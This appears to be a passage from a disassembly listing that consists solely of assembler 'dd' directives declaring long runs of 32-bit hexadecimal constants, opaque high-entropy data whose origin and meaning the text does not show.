		dd 0C594719h, 0ED9700CBh, 0B0216049h, 0B34932D6h, 17437904h
		dd 20A50B59h, 8FDE8C50h, 286C22h, 0AF7C9FBEh, 4CC72025h
		dd 83E3633h, 0D321A046h, 0B4D01810h, 963820B0h,	0B09FF83Ch
		dd 0EBC410CBh, 99430985h, 200F8AA4h, 1A5D6EC0h,	7F28C7DAh
		dd 0D703A0F0h, 4E45090Ch, 0D3FAE18Dh, 0C65678E0h, 89266B10h
		dd 548EB200h, 0A05EB4E2h, 0A5D23C72h, 0EB450F00h, 6BB284F6h
		dd 97E79401h, 68FC99D5h, 48F947D0h, 0C572158Ah,	40C4B0F0h
		dd 0D2DBF88h, 9801041Eh, 3BE7D65Ch, 0E3DDE559h,	20EBCFC4h
		dd 401545B0h, 1D988DD7h, 3AC04802h, 5964D17Bh, 3AB0A40Ah
		dd 9628C8CAh, 9AD51EFEh, 0B89B83F3h, 0A6A04356h, 5100651Fh
		dd 5D0954CAh, 0DA0EEE7h, 29ABFC73h, 94F9F0E8h, 659F9C01h
		dd 596C04D5h, 9802188Ch, 0A0C43D0h, 31B054D3h, 1E120756h
		dd 0C16A0C9Ch, 75F8BFCh, 0A7BCCE0h, 80B486Eh, 98112618h
		dd 0E800EB44h, 81F3328Eh, 3FBE57h, 0DCC75B88h, 0CCBC5489h
		dd 16AAF3Ch, 3258B5D6h,	0C9D0B0E3h, 3FCF3CABh, 5BB8E005h
		dd 56D81BDh, 4BE8D0C3h,	85ADCA01h, 7CDD5D52h, 0A91A60h
		dd 0C3C4B182h, 0ADB95FABh, 0B8588A13h, 0BC5E4602h, 3C3894A8h
		dd 73CD1EEh, 187AD215h,	0D0D5E3F1h, 85F0CAF9h, 60E5B0C2h
		dd 0AD25E054h, 0D262008Dh, 0F5E36A81h, 0B81D3EE8h, 0BC3985D7h
		dd 0B3A91CF4h, 5DB45C82h, 0A16881A8h, 7CE15E68h, 983941EFh
		dd 1804BEE2h, 108D94D5h, 5C1F0DA3h, 9383142Bh, 9002BB78h
		dd 3562F8h, 9E8BE28Ch, 0A1CA3E1Ah, 0A7B230C0h, 0C7880C4Ah
		dd 81135418h, 8387F92Ah, 0E8AA2B11h, 468AD971h,	28F825F8h
		dd 3C2CC8F1h, 0F38A1E2Dh, 0C60C8D9Eh, 0C8C8964h, 179E381Fh
		dd 0A7742501h, 5886473Dh, 895C8C0Dh, 51F3E06h, 19402CFEh
		dd 0E82B55D8h, 6840980Eh, 0D0E9AE59h, 0D80A7828h, 10582E53h
		dd 9CC8EF94h, 3BCFE477h, 601DBFF2h, 0E2496F0Ah,	0A8247A0Fh
		dd 0A7A104E1h, 1D21AC80h, 587F6050h, 966CA65h, 0A9CBE61Dh
		dd 0E8740CE8h, 0E48BAE24h, 34440B80h, 0EC1AB39Dh, 8FF81D69h
		dd 24230A8Ah, 3C8E1D0Ch, 80FC0E24h, 0B763308Dh,	0A975F8BCh
		dd 29747D1Eh, 0CD0664Ah, 8C09321Dh, 7314A2F2h, 2358808Fh
		dd 0E3A36526h, 0D688644Eh, 8FC86981h, 8C54B778h, 4EB8BC08h
		dd 485BA702h, 8CB0B8A3h, 1568803Fh, 0AF02197h, 0F8710CAAh
		dd 0E004F865h, 5CC2A8C0h, 484012C6h, 8F80885Dh,	0D913797h
		dd 0A2DC22C1h, 14158C99h, 8701E46Ah, 8C09D2CAh,	9869B108h
		dd 901646D1h, 0B0185142h, 0F22868E7h, 0C088ABE4h, 889353A4h
		dd 54E06231h, 3F642032h, 7E2D2984h, 28F10294h, 0E0A18AFBh
		dd 237D3865h, 858C220Ch, 98251580h, 51140C46h, 0C93F8CC2h
		dd 55046D2Ch, 880D2E0Ah, 28E03E66h, 42F48DAEh, 7752727Ch
		dd 9C406594h, 6F0BC841h, 28231951h, 8085A622h, 3099AF1Ah
		dd 0A0983B0Ch, 4C63CB8Ch, 21FE0C89h, 0D06550C5h, 0A8B93B24h
		dd 8F4AF164h, 9910E680h, 0DC280C8Ch, 6D498CFDh,	0CE23AA9Ch
		dd 2A4F43D4h, 0A0AF8C8Dh, 0A1B0E690h, 0A24E267h, 6592149Dh
		dd 74886035h, 61406A2Fh, 2C02F850h, 72F38A8Fh, 297E11E4h
		dd 0ACACA837h, 140F3143h, 0D8695979h, 937C3095h, 5D0B6558h
		dd 7F2CE64Ch, 0D78BDE88h, 372CE862h, 0E3694BC0h, 0D810C58Fh
		dd 980EAB0h, 35C8F216h,	5186B07h, 14F74478h, 0AB22DCA0h
		dd 0D00D640Ch, 9D618F5h, 0C2A94755h, 0EC7E4580h, 71CE1793h
		dd 9C40908Fh, 4C5A8964h, 7B119B3Ch, 51E4796Dh, 0FEC03CE8h
		dd 2D2560B7h, 8ED8AA8Dh, 0E2FC083Ch, 63F16827h,	874100D6h
		dd 0FC006184h, 0EAB4D5DBh, 3E62E8E4h, 3A0796D6h, 0C27ADEE3h
		dd 1483A7E7h, 0E2E059D2h, 214C8DCBh, 2B280963h,	264C166Bh
		dd 84C22F9h, 0BE839C98h, 723AD899h, 2E7F2438h, 0A7750FBCh
		dd 0C089h, 853B440Dh, 59175492h, 640880DCh, 0A65C406Dh
		dd 2053F35Bh, 8E4C8420h, 77215760h, 0C5CEAB02h,	0B0CD8DF3h
		dd 4C7EA5B8h, 0B8B48AAh, 0F9CC84h, 0B6FA1456h, 94AB00E6h
		dd 0BC5ED4ECh, 320953B4h, 0A08A30F3h, 63D2AE34h, 0D674017Eh
		dd 0EE0D0C84h, 34A3D183h, 0D9004B2Ch, 7E377363h, 12FA2567h
		dd 6E0E62Ch, 0B8149588h, 1823711Dh, 2840B493h, 25999DF6h
		dd 62E0F883h, 0E28F1801h, 6286AB40h, 0D8D6F833h, 0CB9DD052h
		dd 0D48B4CB7h, 0E0D06D80h, 0E58E98Fh, 4A3E0C88h, 88E1A4h
		dd 9DACA80h, 292E89CDh,	219D09CDh, 0CAD8CCh, 31E755DDh
		dd 0BBD243E1h, 8DD3AA02h, 809157D0h, 583501F4h,	0D34090AFh
		dd 0D6540292h, 0A46829D5h
		dd 2500DA12h, 0ECF4A363h, 0CDE4AB8Ah, 0C8211408h, 2A0025F1h
		dd 8B112BDh, 284B8029h,	54A37Fh, 0B2E71FAEh, 0A2AA0D21h
		dd 44D0BC00h, 654F0BD4h, 2FA315C0h, 7B2CB099h, 97CD0373h
		dd 0C7ABBE5Fh, 0EF2F5ED8h, 0A3875401h, 0F8D20846h, 0CA11B030h
		dd 3FA81746h, 66B02980h, 2FF3282Dh, 0B780A894h,	0BDE9ED5Eh
		dd 24E13869h, 67D9760Ah, 922600A8h, 8DB7C690h, 0D6819163h
		dd 43D90018h, 19049EA0h, 0B47876D4h, 0D9673D00h, 78B7309Ch
		dd 311C187Dh, 0D350697Fh, 0A264A00h, 220DD73Fh,	0DD2700C1h
		dd 7FC60EA4h, 0B9249772h, 0C5426C0Ch, 0F2C80C8Ah, 0D1014093h
		dd 5E747F63h, 4C889918h, 116314D8h, 8414A732h, 0BA00DCA1h
		dd 6F10550Ch, 0F24C61FAh, 989D1F2Dh, 0DADC7200h, 1C5B3D80h
		dd 808831AEh, 6D5795C7h, 8E02CF93h, 151C09E2h, 0C4A4802Ah
		dd 0A559BF0h, 8BB6F2F4h, 0CA420ACh, 0C6599773h,	0E13AE0C0h
		dd 3945471h, 0F1581D12h, 25D8C009h, 0B0019064h,	5EEC1EAEh
		dd 740B5C21h, 0ABC4A388h, 38225F80h, 0CBA000BFh, 0CDF40531h
		dd 0E70956F3h, 20548DEEh, 0B8529E8h, 1F720CB0h,	0AAA8F4B1h
		dd 2AD6E511h, 0DF935800h, 69026E19h, 21C41601h,	0C608C02Bh
		dd 49437C20h, 66005891h, 2FFCCEE7h, 0CA7C942Eh,	18A91B12h
		dd 0C43A3425h, 4D009F23h, 43A3E6FCh, 6B10B4A5h,	0F2657402h
		dd 851D7F21h, 0C381218Fh, 0D86CD4C0h, 0C693572h, 6B180F59h
		dd 0C1AC20A0h, 5E0CEh, 2F0FEB3Ah, 9DE181F4h, 0D369E18h
		dd 5C3BA69h, 657F47A5h,	7BD4C221h, 0D9822520h, 9E72000Ch
		dd 1E24FA26h, 94FECF57h, 0B4BF9906h, 30790A38h,	0C9511931h
		dd 0B87675B2h, 40D29C0Fh, 0DE00BFCCh, 0EF641B0Fh, 0F1C4A080h
		dd 0C44082F3h, 7180A040h, 8B614C8Fh, 5A29250Fh,	0F604A560h
		dd 9C24A33Eh, 0DF1114ECh, 9263CE80h, 448CB674h,	0D600B7A1h
		dd 37C41463h, 793D433h,	73D9EAF0h, 8BE0B2F9h, 0BD4C1C78h
		dd 1D5236Ch, 0A36225DBh, 881718DCh, 8FA0F2E9h, 671EAE08h
		dd 8ABE3633h, 0D047A77Eh, 8CDB2980h, 18E288F0h,	19B24366h
		dd 4C011607h, 206D93C0h, 34D45E1Ch, 12817DFh, 0D9B60FA6h
		dd 0F79673A0h, 0C800B158h, 0D471EE8Dh, 0F0E53B52h, 2E740587h
		dd 407A2F84h, 6217E684h, 0FC009CBFh, 380A500Eh,	0EC917082h
		dd 24D6714Ch, 564E9CEh,	93BC7D21h, 41D630DCh, 3E090E61h
		dd 85F5F262h, 60301030h, 223819F6h, 0C91F7739h,	0F2115BAEh
		dd 0E36DED0Fh, 9E892686h, 24901B74h, 0BDA6312h,	23D54831h
		dd 0BB7C9C50h, 2964019Eh, 33080772h, 434820DBh,	0A690B454h
		dd 81C52138h, 44260375h, 60C4AA97h, 319D00B1h, 7BCC40Eh
		dd 34A05021h, 1963D5E9h, 0E0FA3161h, 1C43588Ah,	8057845Ch
		dd 0D1100ADEh, 0E709E968h, 2075ECFFh, 21D26614h, 73170026h
		dd 6F7289E0h, 9894E92Dh, 0C48AAE00h, 90CF3E79h,	2989010h
		dd 73E5AB59h, 6450656Fh, 0E0437109h, 0D6008211h, 93ECD92Eh
		dd 0DA1C30CEh, 5001FD78h, 38133627h, 0DC26AAF9h, 30CFC824h
		dd 0FCDF3139h, 4292F200h, 4A0502A6h, 8F49C0B6h,	838D6140h
		dd 0B73CCC00h, 1335E0FEh, 6C893D0Bh, 497FC13Fh,	9D0C58A3h
		dd 0D8911028h, 88FC3B4Ch, 0C465036Ah, 1FA8EC66h, 164A551Dh
		dd 463DE00Eh, 391830h, 0B231F76Bh, 4429127Fh, 0F9FE2A00h
		dd 62885A50h, 307B6059h, 0DA64F7B7h, 0CBE8C650h, 930BF098h
		dd 948DB6ECh, 7A10158h,	9BFC236Bh, 217874B3h, 0F29C2700h
		dd 9D4DB052h, 399F6024h, 6C37190Fh, 0DA0B48B8h,	0A27C8B91h
		dd 58A5D594h, 0D8D08154h, 0E00AE026h, 2C846525h, 0F7F2704Ch
		dd 0CB1F2500h, 2F1C87BDh, 0DC44180Ch, 216D5807h, 74E26012h
		dd 74905C26h, 0CFE180E6h, 176329FCh, 0F89B2611h, 2D81AA3Fh
		dd 5EFED2F8h, 0DF924800h, 1D85E11h, 0FC86146h, 74B18F21h
		dd 10200DACh, 0AA8705A7h, 90153520h, 267ED8A0h,	0A8625494h
		dd 0A665049Ch, 9D3A0668h, 70890B21h, 0C450988Fh, 0C830CD60h
		dd 0B30979F0h, 20D968B5h, 62657E00h, 0F5302AF8h, 3AAF0FCCh
		dd 0BD4156BEh, 39D5F127h, 8AE500A4h, 0EA7468F9h, 0D06F2459h
		dd 0BD3143ECh, 9E16610Eh, 2419A115h, 0E9F06295h, 65473992h
		dd 5DB6B581h, 209CD712h, 32057304h, 9C7A3C8h, 91001C8Ah
		dd 70778F6Ah, 0E3002235h, 0B14DD1D8h, 401C2B55h, 7D2097ECh
		dd 2AA708E9h, 0D6169F91h, 0A43F78D0h, 2D5E009Ah, 3A15C8BAh
		dd 0F30C4B4Eh, 38F5E997h, 78930ADAh, 1494FB5Ch,	0E180B44Ah
		dd 6497D2ACh, 80803158h, 0B63EA596h, 0B28200D1h, 0CBA1504Dh
		dd 4676864Eh, 1D92C60Bh, 7CE86831h, 0CEE400BDh,	225CA2B1h
		dd 0C31751CAh, 0A40091C6h, 783DEA0Bh, 80904863h, 0CFAAF302h
		dd 1082A786h, 14F0D11Ch, 42C820F7h, 0C4F45B51h,	0A1607ABFh
		dd 3FBB66A9h, 0FE490DDh, 673A480Ch, 94C3498Eh, 4001FC7Ch
		dd 3C096B73h, 1181FE9Ch, 351FAE72h, 8020692Ah, 0D06589B7h
		dd 0B65A07h, 3EBFD490h,	29090BD9h, 52A39DC5h, 8938304Ch
		dd 73309390h, 0F8BAEF04h, 2883742Dh, 0D11895A9h, 7E5AE820h
		dd 20D55315h, 0BB04D0C2h, 712C531Ah, 0AF7DF01Ah, 30D58D12h
		dd 6FC8D020h, 8FC70069h, 67A40E01h, 0CAE807A9h,	66D921C1h
		dd 3DDCFD69h, 590B28C4h, 40292690h, 6CC18038h, 5585AFB7h
		dd 0ADC3C700h, 86972B9Bh, 95C57808h, 9FE86CA3h,	6AB6D7C0h
		dd 5BD2C705h, 1473325Fh, 0ACC6C1BAh, 3E7B30BBh,	0D73C0681h
		dd 0B50058A0h, 863FBD55h, 1ADCE5Eh, 0C2FD8EF6h,	83BE5BB4h
		dd 0D3C36A90h, 301848F7h, 0A9B55E01h, 0FDBE5A82h, 2880B3B2h
		dd 69D4A057h, 0CB97451h, 0D3B6F987h, 0D77ABF78h, 85C31C7h
		dd 29B7596Ch, 0A60CB8D5h, 6B294F60h, 0C200D05Ah, 0C6F981D2h
		dd 2C545CC3h, 6074D6BDh, 794C6F0Bh, 0E105C0B4h,	4B2A00Ah
		dd 0E7340C52h, 1E64E331h, 4640AFE5h, 39681123h,	7E4D090Eh
		dd 0F0321349h, 2CBE9459h, 0B011857h, 81ED0DE1h,	0C10869D0h
		dd 0C717E5B9h, 0E0D83020h, 67F82DF0h, 0FC044E5Bh, 8B1D2AA2h
		dd 0A840E7ABh, 3180E5B1h, 68A1CAC3h, 298A0818h,	87ED0E06h
		dd 26244268h, 0D941BC30h, 199848D4h, 8DA759B2h,	8B0911F1h
		dd 0E28C2F01h, 0CC840A4h, 192D28BEh, 0B88DB229h, 2F59840Ch
		dd 0D60A28CAh, 4C4341A8h, 2A308CF2h, 1293511Dh,	41866C8h
		dd 906E4AA8h, 0EC23A384h, 59E822Dh, 0D06241BCh,	7D3818A1h
		dd 1825708Ch, 3078DF77h, 69DDE530h, 194BC104h, 817F814h
		dd 0D818171Dh, 8C104F84h, 0FC4C9C98h, 751FCB80h, 30C41E59h
		dd 0D0A0BA30h, 434CAA8Bh, 70B15F4Ch, 8B695994h,	39BE8A41h
		dd 1C351879h, 80D6316Dh, 2928909Ah, 6C904C7Dh, 0A4DCB1D7h
		dd 6DA72237h, 63B9A960h, 0A4C1C894h, 85227CA4h,	34491767h
		dd 3BB8C474h, 84052CB9h, 0F3E25C42h, 8CEEF118h,	0B1C0D14h
		dd 42043E28h, 2C11C2ADh, 0D21D841Ah, 46841A28h,	0F7A1A154h
		dd 2184770Ah, 0F9F8A87Ch, 161085BDh, 21D4A488h,	0B944C271h
		dd 835CC22h, 0CE51C895h, 0A743F408h, 18F4F1F1h,	909D231h
		dd 6CA20D5Ch, 6065230Ah, 34425513h, 44C48964h, 46211360h
		dd 82B09430h, 2804A78Ch, 8F510140h, 9D64F3A6h, 734C2758h
		dd 0CE623209h, 4A7EC78h, 50A1402Ah, 0A45969E2h,	0B0A2908h
		dd 89AE8C4Ch, 0ADF42849h, 0A4249E2Fh, 38C81FF4h, 323CAED5h
		dd 0B5404F8Bh, 74356B20h, 2FE89177h, 0A81B18B2h, 63CB410Dh
		dd 0F3E02121h, 48A49372h
		dd 510B0438h, 79A4A4D6h, 48BA1100h, 8A42A7A9h, 0F4B5541Fh
		dd 268F70E0h, 0F148307h, 576C68ABh, 727FBA58h, 0D8B052h
		dd 0AED1AD29h, 3A21828Dh, 6F921894h, 0C0905F81h, 0F2AA8E4Bh
		dd 1F14730Dh, 0C19E9h, 9ADA6ADDh, 3A2BAB57h, 56006B99h
		dd 0C9713AB2h, 300E72AAh, 4B7D9D0Ah, 0D7A49022h, 91D30F84h
		dd 0B4E9B023h, 0A2408080h, 8BE4288Fh, 0CA60B0C0h, 7E300CCEh
		dd 7D189049h, 802074B8h, 2100D96Dh, 0A90EB901h,	13A36ECFh
		dd 0F26405h, 9B468794h,	400010B7h, 0C1AFF8F7h, 6525C2h
		dd 0B828B35Fh, 6996C5CBh, 7B4CD5Ch, 2402CC5Ah, 9AA61B80h
		dd 0BF1E007Bh, 0B5CDF0D3h, 5F72B428h, 0CBB03E00h, 0C6B92208h
		dd 82963AB7h, 0C728BC33h, 0D06A100Fh, 1AAE80B4h, 1E823CC1h
		dd 8321B55Fh, 67D8081Bh, 6AE0C9C3h, 0D33CC0CBh,	28B81E5Eh
		dd 0D7BEC801h, 0B6DD015Bh, 5F04B8A3h, 24C5CC70h, 3AB41A5Eh
		dd 0EBA0102h, 18943FB5h, 29503718h, 0AA7A10h, 2A6C18DFh
		dd 0CFD9B8F5h, 402E521Fh, 18BCFB4Ch, 2194001Bh,	0B1E281EFh
		dd 15603F5Ah, 0F9D23B59h, 3AC400B2h, 2FFFB5D7h,	0B00631Dh
		dd 95B4138Ah, 775F8B1h,	8FA5611Bh, 0FA298010h, 0DB01E50Ah
		dd 25B495AEh, 6ADCE48Eh, 7A159833h, 0C7CD0014h,	0F33B3D2Ch
		dd 9C376428h, 0BA811863h, 7081C962h, 8A3C472Bh,	0C68183FEh
		dd 77BFB8B6h, 11C4CFE9h, 313E1D7Eh, 0E88376F8h,	9101A59h
		dd 0C587A399h, 0EA4291B8h, 1C031E72h, 8207034Ch, 921DE3C0h
		dd 2A492818h, 28C00968h, 318CB246h, 34687DC7h, 69F89551h
		dd 241B1EBCh, 408475CDh, 80710BF0h, 1DF2FF8Dh, 6B5F7D1Eh
		dd 0B6B14E18h, 649F2B19h, 0E083828Ch, 603C7F62h, 2872807Eh
		dd 0B515F1AFh, 7CF84810h, 5131D000h, 379E2162h,	0E598A83Dh
		dd 89BF0067h, 8A8BE3CAh, 0DF89815h, 481489CAh, 9E2AB10Fh
		dd 0D0E72CA4h, 0C6641589h, 0CA0F0920h, 809C7651h, 0F05AA68Ch
		dd 0DA2E00F8h, 3ED45EFBh, 800CCB8h, 0C3D05F26h,	0F0C2B028h
		dd 1678B3D9h, 0C3501CCEh, 0C7F13CB5h, 30D496E0h, 5B00D774h
		dd 9AD3C4D0h, 539F9D62h, 0AB0044F4h, 0C8310D58h, 1E56B7CAh
		dd 9340F04h, 0CA99CC9h,	7F0F08A0h, 913EC7C6h, 85301129h
		dd 4F27FA7Ch, 24880E08h, 20C08C6Fh, 44A0A7C4h, 0C4500A3Eh
		dd 538CF4BFh, 5432089Ah, 2C250F09h, 0CE9CE07Ch,	1094A861h
		dd 5224CEA2h, 9111FE4Fh, 70109F08h, 40507040h, 9C9BC069h
		dd 50B2157Ch, 0D385C4F9h, 18C645Fh, 5AFC7C50h, 0A428A9F2h
		dd 27092E19h, 25242412h, 23912A48h, 22B5A010h, 9FA644A1h
		dd 9D129C89h, 9B48A224h, 19491899h, 199E0999h, 0E3141317h
		dd 0C8D88818h, 0DA2B0A89h, 8CECD4AEh, 0DB83D0Fh, 239484A5h
		dd 0ECC5BA04h, 0C8080AB5h, 0C1D601BCh, 0F07B2859h, 0E1F8D83Fh
		dd 0B70799F8h, 9503D50Fh, 3D293AC0h, 783774C2h,	7CBF780Bh
		dd 78E77C33h, 2340C81Bh, 10FD9508h, 3D818B9h, 0F029C570h
		dd 6B084A5Fh, 443FF48h,	3CC9AAFFh, 88808859h, 84C55E2Fh
		dd 0F0D04509h, 38A51136h, 81A7258h, 3F80C6BEh, 0B7299F01h
		dd 9919EC8h, 0B18419Dh,	0E0AEFA04h, 0C478Dh, 0B767E939h
		dd 0A55C199Dh, 548E10A0h, 0D7038A5h, 9E710168h,	8B31647Fh
		dd 1523F063h, 0C5B918C0h, 0E9AB2BDh, 1B14CB0Fh,	0E53E1C54h
		dd 68976E00h, 3CF0F463h, 0BD5E28A4h, 2003E4A7h,	3FCEF1E4h
		dd 0F837280Ch, 0FF3019h, 2FCFC3E3h, 19EE161h, 7CD9E400h
		dd 0B4265B3Fh, 0F1D707C1h, 50C21E7Bh, 0F7BE1A81h, 0BDFD1000h
		dd 0C5CBAFD3h, 0CDB300C1h, 1AAE3FBAh, 7D7CB5E9h, 6528C907h
		dd 6340C52Ch, 0D3C7C6h,	0D2E33FCFh, 22C92164h, 4029B830h
		dd 61B4CC67h, 0D4C274D3h, 0F0404969h, 0D1EA295Eh, 27FEB30Eh
		dd 0C5C381F2h, 304DB422h, 25BB9882h, 1C981A5Eh,	3C20C927h
		dd 0CDB603B5h, 5F22C2D0h, 609ABCA2h, 3D62EC15h,	0A420FD5Fh
		dd 5DFBFE0Ch, 18B7362Bh, 80A4D9AFh, 1A4E4B0h, 5E2B0FB7h
		dd 0BB1E2C3Fh, 0FC4B454h, 800D9E21h, 0CC01ACAAh, 7C38A625h
		dd 21300B5h, 0BBC3A1AAh, 4AE9AFD8h, 3A404714h, 80AAB83Fh
		dd 6A39E313h, 143AC91Dh, 0F8BED0ADh, 0EB7C102h,	9C650BA3h
		dd 87C9605Dh, 0F300D42Ch, 0C55B2D7Bh, 53F84h, 0B1CCAD29h
		dd 0BD1A6521h, 13133498h, 5D28C4h, 28305E1Eh, 49B75B11h
		dd 0D0098AAh, 0E1FA386Ah, 0BE131BACh, 4002633Fh, 405AAD21h
		dd 78CDF3A8h, 20684CCCh, 0A93B6C94h, 24C1367Ch,	74AC5008h
		dd 9AE7F719h, 1C721191h, 0E70DA0EBh, 0C15A00D6h, 2BF122BBh
		dd 0AF4AD2B8h, 29B298ACh, 0D2085840h, 0BAC65E16h, 1D01540Fh
		dd 0D0035C93h, 0C003B421h, 0C4C4B03Bh, 0C0CA5D40h, 0C0CCF0C0h
		dd 5F64D706h, 0C00825B1h, 0A61A6210h, 1B2CAF9Ah, 0C60B9EBDh
		dd 1E7002B7h, 8FC61B4h,	906096E0h, 0B83B18A0h, 0C76410CBh
		dd 0C68260C4h, 5F65AC80h, 883F69B4h, 40D80C55h,	0D0671D96h
		dd 0C8AF1BB5h, 0AAC481C3h, 5F60D4D6h, 9294E5F1h, 3FAB3FA0h
		dd 0F852AAD0h, 0D3B80F9Dh, 0D4B05F0Bh, 0B00B299Bh, 191CF0D2h
		dd 23E0FC60h, 0B4390EC9h, 0E4DCB75Fh, 1E57E9B8h, 1CB74CB0h
		dd 7484B84Ah, 1A613D01h, 36AE96C2h, 0D0300BF3h,	7C0B3EB4h
		dd 2E470FEh, 0B0BF0CF6h, 59D3D70Dh, 2C75C4ADh, 16B4C3C1h
		dd 5FE4701Ah, 0C99D7C7h, 98021E96h, 0C1C4CF63h,	43D21ADCh
		dd 0F828A6D8h, 0C4C558CCh, 5F1C0692h, 0B72C09C9h, 0E429C425h
		dd 0CC50994Fh, 3965C064h, 20DC3E9Dh, 0CA69AF0Eh, 69B4189Fh
		dd 0D9F8D064h, 0B75C5C74h, 5E258520h, 3C212C2Dh, 0CC8039F3h
		dd 65ED713h, 0F86A0F34h, 0D0AD9603h, 0E66426BDh, 809B62B0h
		dd 1892B3C7h, 0EB385040h, 0C6FB55Fh, 0CC1480AEh, 0B630ACFCh
		dd 62024F84h, 9E1EC437h, 7918217Ch, 0B4C864D0h,	1A62F305h
		dd 50A322C2h, 0C5002DE8h, 0B4CAB8C1h, 2E3869D2h, 8164C6C2h
		dd 0C31A5D3Fh, 0B31855D3h, 0F15044F8h, 0DFD7FF00h, 28BDFBF0h
		dd 2520B86Ah, 0F0D6B925h, 0E1B01B89h, 0B8D0C744h, 24C24FD0h
		dd 0D4F33Ch, 0CBB3F528h, 633BE5h, 5B25BEC6h, 653CC5C2h
		dd 58C095Ch, 3ACE1EB8h,	0EBE990C3h, 27E5A1D7h, 71508005h
		dd 21DFC1C7h, 0CD650EC0h, 2764D1C9h, 50A4BBC6h,	0CC8B6D3h
		dd 68CF89B6h, 5CFC2E7Eh, 801E14E0h, 76345E29h, 0EC0BCD4Bh
		dd 8550EE64h, 0BBC3F034h, 9070215Fh, 4AC21ED8h,	0F72C03D2h
		dd 0F3A02680h, 0BB04CD5Eh, 0C029F128h, 0D3C00097h, 3ABECB68h
		dd 0C128ADD7h, 5F4EC8h,	1711B830h, 1274626Eh, 1D6AD703h
		dd 0F6540AAh, 0C4F3910h, 0FD98B601h, 1B94D0ADh,	463A40F8h
		dd 4F6F8C4Dh, 75742019h, 77451E25h, 496E400Ch, 503A6517h
		dd 6A0C1274h, 81B1646h,	77B77CADh, 64191E77h, 6E18FE73h
		dd 68952875h, 893EF67Bh, 45140046h, 6E0D20B8h, 6920C04Ch
		dd 76172160h, 0E017574h, 184D4A40h, 0A8D0736Fh,	1F4F1D44h
		dd 6ED801AAh, 0F1958DB4h, 1846F0A9h, 0B87D1706h, 0F038A56Ch
		dd 73B70719h, 0C76B1316h, 889B5FFDh, 1B4944E8h,	9677B7E8h
		dd 403B1333h, 1997C011h, 4D740214h, 69B6D31Ch, 45758080h
		dd 0CC00D112h, 41140CACh, 30A80E44h, 6960B83Ah,	45E86D49h
		dd 0FDF1737Ch, 4228868Ah, 41E90FB8h, 5890D621h,	0AD06D9D7h
		dd 0AED5D684h, 0FC863008h, 0D1264648h, 150EB675h, 7DB8440Eh
		dd 164C4741h, 0A6E775A8h, 540CF888h, 3A4778A6h,	44051322h
		dd 169A917h, 63B6A5E4h
		dd 433BE416h, 6CE80E66h, 4F6E3DC0h, 89D6AA9Ah, 49F70417h
		dd 4469B400h, 73E6A620h, 6D9C0900h, 4B85124Ah, 76933014h
		dd 882A4231h, 0A5D46C00h, 0E0CB86B9h, 0CE080067h, 0E30AEFBFh
		dd 0FE17534Dh, 16039A69h, 98AEE641h, 184B8Ah, 98877C2Bh
		dd 256B20Ch, 1207E103h,	98783EC8h, 0C6E22D9h, 724F1B53h
		dd 1800AD40h, 0EFFC699Eh, 63672116h, 9B68888h, 587BC1E3h
		dd 4BFB3B00h, 38A8D399h, 2C80065Ch, 20ABAA42h, 4045D602h
		dd 9C2063B4h, 0E86E1020h, 0A3E3CE98h, 3F63B3ECh, 1B80AA78h
		dd 3F10184Ch, 60C4AC67h, 4446A8C6h, 0B422C836h,	3C217437h
		dd 2AFE6566h, 0B4D8FFh,	2898CA2Ch, 0DA83AFC2h, 8057D14h
		dd 1476C81Ch, 0F180D0E5h, 7AD13331h, 81DAC800h,	322F5EA0h
		dd 0A59800E6h, 72FDAAAFh, 0CD408D5Ch, 14B80084h, 0BF4879E2h
		dd 0BCA37556h, 0D06685C8h, 4D59B160h, 381139Ch,	0D5AAC8B6h
		dd 830C92Eh, 0B46D214Ah, 31741F13h, 4F7980BFh, 0A250F64Dh
		dd 69A58E30h, 7E0495h, 9CF7E3ABh, 648AE9C1h, 39E02705h
		dd 98011029h, 0AF2DF1B3h, 0EC049444h, 1940759Bh, 69EA56CEh
		dd 84C8A063h, 0B7FDA13Ah, 80E6B095h, 62D29284h,	0A71C9955h
		dd 0B4B0FE02h, 38C2B17h, 9859FCB7h, 0E3887E3Dh,	0BC2920EAh
		dd 7F03F071h, 0AB58A6h,	2290B379h, 5AD1E318h, 8269312h
		dd 0A421542Ah, 0BA49AE98h, 233EEE1h, 0E6CF8A3Fh, 1CB19D09h
		dd 0E43C02A6h, 0B948A180h, 0F114B41Ch, 3A4B145h, 8CFED86Ch
		dd 0B63103CAh, 4D9DEC80h, 558851E8h, 9C089465h,	0EC67D420h
		dd 873600DBh, 6E139132h, 0A931F9B4h, 0A4ED508Bh, 0C9CB9C50h
		dd 51B80088h, 45D96E8Dh, 0DA1DB6A2h, 4A8028C1h,	254381C3h
		dd 0EEED0F2Dh, 87EAA9ECh, 4BAA80D4h, 0F944B901h, 0EC90B049h
		dd 31DCAE43h, 63C9A68Dh, 0F947ECE4h, 0A2CD5A00h, 0D37F4BD0h
		dd 6B200328h, 3F4F2185h, 2D7A6000h, 8058C91Fh, 0D7191414h
		dd 0D011CCF6h, 0ED9F0042h, 272BAF12h, 6A79004Ah, 858FA8F2h
		dd 8C3F1B46h, 48E09856h, 56D86DA0h, 7E02B8FCh, 7C4D9FECh
		dd 93109B31h, 1900EC65h, 0B74F9F71h, 14B43426h,	8CA6B904h
		dd 20865EACh, 303E35E8h, 789E2432h, 0E5A28828h,	0C14588BCh
		dd 9711200Eh, 0AD4E80D1h, 0ABD5EEB9h, 480AB0C4h, 192F0172h
		dd 7158CA69h, 80C1D168h, 48029421h, 0A24D8E0h, 33D05AFAh
		dd 0E1A180ACh, 3F2E9F4h, 8E99983Dh, 0E97964BBh,	0FF5C049Fh
		dd 0A2EC7B60h, 11444D23h, 820679B1h, 15438BECh,	323F775Ah
		dd 3D70C966h, 0C1FBB820h, 0AB7F001Eh, 0B195CEA0h, 18E2D3E8h
		dd 0A5228C0Bh, 973C20A4h, 0C70595Dh, 39589FC6h,	9303841h
		dd 38571C9h, 0CC8A48C3h, 8E14EF3Eh, 6328D4B0h, 2B64690h
		dd 2F5D4803h, 971C1C01h, 4A0147FBh, 0CF25B637h,	55835840h
		dd 97D10EA7h, 0D3A3DD1Ah, 91F8209Ch, 44989934h,	286F3600h
		dd 2D1DBE08h, 0AB6528C2h, 0F88309DCh, 1403398Bh, 510038D0h
		dd 3CF004D3h, 0E055F1A8h, 16AF488h, 208EA9B4h, 85BFF753h
		dd 648513D0h, 0F49E0098h, 0B8B6237Fh, 6B3E3F11h, 0C5C3138Fh
		dd 0F31B4D81h, 0F488067h, 7EDABEF0h, 0C31924D6h, 0BAD887B8h
		dd 0EDA84CA1h, 22FF4922h, 0A40036D1h, 2EFE1521h, 155D462Bh
